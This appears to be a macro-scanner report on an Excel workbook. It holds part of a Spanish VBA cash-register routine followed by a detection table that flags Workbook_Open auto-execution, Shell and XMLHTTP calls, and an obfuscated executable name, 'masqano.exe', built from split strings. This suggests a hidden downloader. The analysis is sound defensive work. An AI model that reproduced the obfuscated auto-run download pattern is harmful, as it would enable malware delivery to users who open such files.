 MsgBox "El sistema esta reabrindo una caja que usted dej? abierta.", vbInformation, "Atenci?n"
 objParametros.GrabarValor "nrCaja", lnrCaja
 objParametros.GrabarValor "frm_ABMCaja", "CajaSinCerrar"
 Select Case objUsuario.tpAcceso
 Case "Puestos"
 objParametros.GrabarValor "CajaAbierta", "SI"
 objParametros.GrabarValor "vlDiaDolar", objConfig.vlDiaDolar
 objParametros.GrabarValor "vlDiaEuro", objConfig.vlDiaEuro
 Case "Administraci?n"
 frm_ABMCajaADM.Show 1
 End Select
 objConfig.GuardarINI
 End If
 Case Else
 objConfig.AbreCaja = "NO"
 If Not objConfig.ObtenerValoresEuroyDolaryPromoyComisionRetorno Then
 MsgBox "Los valores de Dolar, Euro o Retorno no estan bien configurados," + vbCrLf + _
 " por favor vaya a la pantalla de conceptos para arreglar estos valores." _
 + vbCrLf + "Error Extendido: " + objConfig.Error, vbCritical + vbDefaultButton1, "Atenci?n"
 End If
 objParametros.GrabarValor "vlDiaDolar", objConfig.vlDiaDolar
 objParametros.GrabarValor "vlDiaEuro", objConfig.vlDiaEuro
 End Select
 Select Case objUsuario.tpAcceso
 Case "Puestos"
 Case Else
 objAFIP.mostrarTalonariosVencimientoCAI
 End Select
 Frm_Principal.Show
End Sub



+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | MkDir                | May create a directory                  |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Output               | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | masqano.exe          | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| VBA string | \masqano.exe         | "\" + "mas" + "qano" + "." + "e" + "" + |
|            |                      | "" + "" + "" + "xe"                     |
| VBA string | GET                  | "G" + "" + "" + "E" + "" + "" + "T" +   |
|            |                      | "" + ""                                 |
| VBA string | b.S                  | "b." + "S"                              |
| VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
| VBA string | Vuelva a internar la | "Vuelva a internar la operaci?n, si     |
|            | operaci?n, si        | persiste el problema comun?quese" +  "  |
|            | persiste el problema | con el administrador del sistema."      |
|            | comun?quese con el   |                                         |
|            | administrador del    |                                         |
|            | sistema.             |                                         |
+------------+----------------------+-----------------------------------------+